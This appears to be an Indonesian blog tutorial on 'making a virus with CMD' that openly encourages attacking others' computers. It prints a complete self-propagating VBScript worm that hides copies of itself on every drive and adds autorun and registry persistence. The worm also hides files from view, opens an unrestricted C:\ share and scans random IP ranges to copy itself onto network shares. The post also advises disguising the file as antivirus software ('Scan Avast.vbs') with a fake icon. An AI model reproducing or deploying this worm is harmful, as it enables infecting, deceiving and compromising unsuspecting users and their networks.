Cara Membuat Virus Dengan CMD

Cara Membuat Virus Dengan CMD 
    Virus Malware di komputer memang sangat menjengkelkan, namun jika kamu tertarik untuk bisa membuat sebuah malware yang menyerang komputer orang lain, betul sekali untuk membuat malware kamu hanya membutuhkan program notepad di komputer. Malware atau worm ini berfungsi untuk menggandakan dirinya saat terhubung ke jaringan internet. Malware ini akan berjalan secara otomatis walaupun tanpa sepengetahuan dari pengguna komputer yang dimasukinya. Malware ini masuk melalui celah yang terbuka pada sistem keamanan yang berjalan atau kita menyebutnya dengan istilah vulnerability, bagaimana cara membuat malware ini mari kita simak ulasan kami. cara membuat virus di cmd

Baca Juga : Sejarah Peristiwa Bandung Lautan API Full Lengkap

    Untuk bisa membuat sebuah malware bukalah program notepad atau kamu bisa menggunakan aplikasi yang saya berikan ini, aplikasi ini dimana kamu dapat memanipulasi tampilan icon yaang sudah kamu susupi script malware jadi akan berbentuk seperti sebuah aplikasi resmi yang mana orang tidak akan mengetahui bahwa itu sebuah virus, cara membuat virus di cmd.

Cara Membuat Virus Malware di Komputer

1.     Bukalah aplikasi notepad atau menggunakan aplikasi ini.
2.     Tuliskan script virus malware yang akan saya berikan dibawah ini.
3.     Gunakan aplikasi ini agar sobat bisa merubah tampilan gambar agar malware ini bisa terlihat resmi.
4.     Tuliskan kode di bawah ini atau bisa mengcopy nya kemudian simpan dengan nama file *.vbs. Agar menyerupai aplikasi resmi gunakan nama –nama yang terkenal untuk bisa mengelabui pengguna komputer misalnya: Scan Avast.vbs

Script kode virus di bawah ini:

‘54807463 On Error Resume Next Dim Wshshell,Markas,fso,a,RG,raxa,raxb,raxc,raxd,rand,dot,drivecon,sharename,count count = “0” dot = “.” drivecon=”0″ set wshnetwork = wscript.createobject(“wscript.network”) Set Wshshell = Wscript.CreateObject(“Wscript.Shell”) Set fso = CreateObject(“Scripting.FileSystemObject”) RG = “Software\Microsoft\Windows\CurrentVersion” Set Markas = fso.GetSpecialFolder(0) SU = Wshshell.SpecialFolders(“AllUsersStartUp”) SU = Replace(SU, “C:”, “s:”) If fso.FileExists(“autorun.inf”) then Wshshell.Run “explorer.exe “

End if

Wshshell.Run(“net share system=C:\ /unlimited”), 0, true Randomize For i =1 to 8 r = int(rnd * 50) + 66 polm = polm & Chr(r)

Next

polm = Chr(39) & polm & Chr(13) & Chr(10) Set dropper = fso.OpenTextFile(Wscript.ScriptFullName, 1) strRan = dropper.readline src = dropper.readall strRan = polm randmat() Do If not fso.FileExists(Markas & “\sabotage.vbs”) then Set dropper = fso.CreateTextFile(Markas & “\sabotage.vbs”, True) dropper.write strRan dropper.write src dropper.Close fso.GetFile(Markas & “\sabotage.vbs”).attributes = 39 Wshshell.Run “wscript.exe ” & Markas & “\sabotage.vbs”

End if

Wshshell.RegWrite “HKLM” & RG & “\Run\WinSystem”, Markas & “\sabotage.vbs” Wshshell.RegWrite “HKCU” & RG & “\EXPLORER\ADVANCED\HideFileExt”, “1”, “REG_DWORD” Wshshell.RegWrite “HKCU” & RG & “\EXPLORER\ADVANCED\HIDDEN”, “0”, “REG_DWORD” Wshshell.RegWrite “HKCU” & RG & “\EXPLORER\ADVANCED\SHOWSUPERHIDDEN”, “0”, “REG_DWORD” for each a in fso.drives If a.isready then fso.GetFile(a & “\sabotage.vbs”).Attributes = 0 Set dropper = fso.CreateTextFile(a & “\sabotage.vbs”, True) dropper.write strRan dropper.write src dropper.Close fso.GetFile(a & “\sabotage.vbs”).Attributes = 39 fso.GetFile(a & “\autorun.inf”).Attributes = 0 Set auto = fso.CreateTextFile(a & “\autorun.inf”, True) auto.WriteLine(“[autorun]”) auto.WriteLine(“ShellExecute=wscript.exe sabotage.vbs”) auto.Close fso.GetFile(a & “\autorun.inf”).Attributes = 39

End if

next If not Wscript.ScriptFullName = Markas & “\sabotage.vbs” then Wscript.Quit

End if

do while drivecon = “0” check() shareformat() wshnetwork.mapnetworkdrive “s:”, sharename enumdrives() loop copyfiles() disconnect() Wscript.Sleep 60000 Loop

function disconnect()

wshnetwork.removenetworkdrive “s:” drivecon = “0” end function

function copyfiles()

Set fso = CreateObject(“scripting.filesystemobject”) fso.copyfile Wscript.ScriptFullName, SU & “\sab0tage.vbs” end function function check() raxd = raxd + 1 if raxd = “255” then randmat() end function function shareformat() sharename = “\” & raxa & dot & raxb & dot & raxc & dot & raxd & “\C” end function

function enumdrives()

Set odrives = wshnetwork.enumnetworkdrives For i = 0 to odrives.Count -1 if sharename = odrives.item(i) then drivecon = 1 else drivecon = 0 end if Next end function function randum() rand = int((254 * rnd) + 1) end function

function randmat()

if count < 50 then raxa=Int((16) * Rnd + 199) count=count + 1 else randum() raxa= rand end if randum() raxb=rand randum() raxc=rand raxd=”1″ end function

Terima Kasih Atas Kunjungannya !

Share this post